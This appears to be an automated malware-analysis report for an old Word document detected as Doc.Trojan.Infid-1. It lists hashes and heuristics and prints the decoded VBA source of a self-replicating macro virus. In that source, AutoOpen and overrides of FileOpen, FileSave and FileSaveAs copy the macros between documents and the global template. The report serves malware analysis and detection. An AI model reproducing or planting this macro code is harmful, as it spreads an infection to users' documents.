Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83c79c4f933ea90c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-02-06 16:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 50ee729b57b4101903d72dc21f0031c7 SHA-1: 5eab0425a60d30a9ee97d182faebead4b542f6c4 SHA-256: 83c79c4f933ea90c98f73e3f196da28feb18014dc7e8f699c6821387174b3f62
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon document opening. The macro attempts to copy itself to the global template and then uses the FileOpen and FileSaveAs functions, potentially to disguise its actions or facilitate further execution. No specific malware family is identifiable from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Infid-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Infid-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7382 bytes
SHA-256: 75a223cb46d8884fb5d9e80dbfedf42c1edcc1a887ca6afdf625f85a650272d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MsWord"

Public Sub MAIN()
WordBasic.MsgBox "Microsoft Word", "MS WORD", 48
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim FN$
Dim ID
Dim I
FN$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4)
ID = 0
For I = 1 To WordBasic.CountMacros(0)
    If UCase(WordBasic.[MacroName$](I, 0)) = "MSWORD" Then ID = 1
Next I
If ID = 0 Then
WordBasic.MacroCopy FN$ + ":FileOpen", "Global:FileOpen"
WordBasic.MacroCopy FN$ + ":FileSave", "Global:FileSave"
WordBasic.MacroCopy FN$ + ":FileSaveAs", "Global:FileSaveAs"
WordBasic.MacroCopy FN$ + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy FN$ + ":MsWord", "Global:MSWord"
End If
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Opens an existing document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim FN$
On Error GoTo -1: On Error GoTo Abort
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
Dim inf As Object: Set inf = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
FN$ = WordBasic.[FileName$]()
WordBasic.CurValues.FileSaveAs inf
inf.Name = FN$
inf.Format = 1
WordBasic.FileSaveAs inf
Abort:
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim FN$
Dim ID
Dim I
On Error GoTo -1: On Error GoTo Abort
Dim inf As Object: Set inf = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.FileSave
FN$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4)
WordBasic.CurValues.FileSaveAs inf
inf.Name = WordBasic.[FileName$]()
inf.Format = 1
WordBasic.FileSaveAs inf
ID = 0
For I = 1 To WordBasic.CountMacros(1)
    If UCase(WordBasic.[MacroName$](I, 1)) = "MSWORD" Then ID = 1
Next I
If ID = 0 Then
WordBasic.MacroCopy "Global:FileOpen", FN$ + ":FileOpen"
WordBasic.MacroCopy "Global:FileSave", FN$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSaveAs", FN$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:AutoOpen", FN$ + ":AutoOpen"
WordBasic.MacroCopy "Global:MSWord", FN$ + ":MsWord"
WordBasic.FileSaveAs inf
End If
Abort:
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim FN$
Dim ID
Dim I
On Error GoTo -1: On Error GoTo Abort
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
dlg.Format = 1
WordBasic.FileSaveAs dlg
FN$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4)
ID = 0
For I = 1 To WordBasic.CountMacros(1)
    If UCase(WordBasic.[MacroName$](I, 1)) = "MSWORD" Then ID = 1
Next I
If ID = 0 Then
WordBasic.MacroCopy "Global:FileOpen", FN$ + ":FileOpen"
WordBasic.MacroCopy "Global:FileSave", FN$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSaveAs", FN$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:AutoOpen", FN$ + ":AutoOpen"
WordBasic.MacroCopy "Global:MSWord", FN$ + ":MsWord"
WordBasic.FileSaveAs dlg
End If
Abort:
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: /opt/analyzer/scan_staging/c5da1e7111694ff69b0f69af516d444c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/FileOpen - 1715 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn FN
' Line #3:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #4:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpeci
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.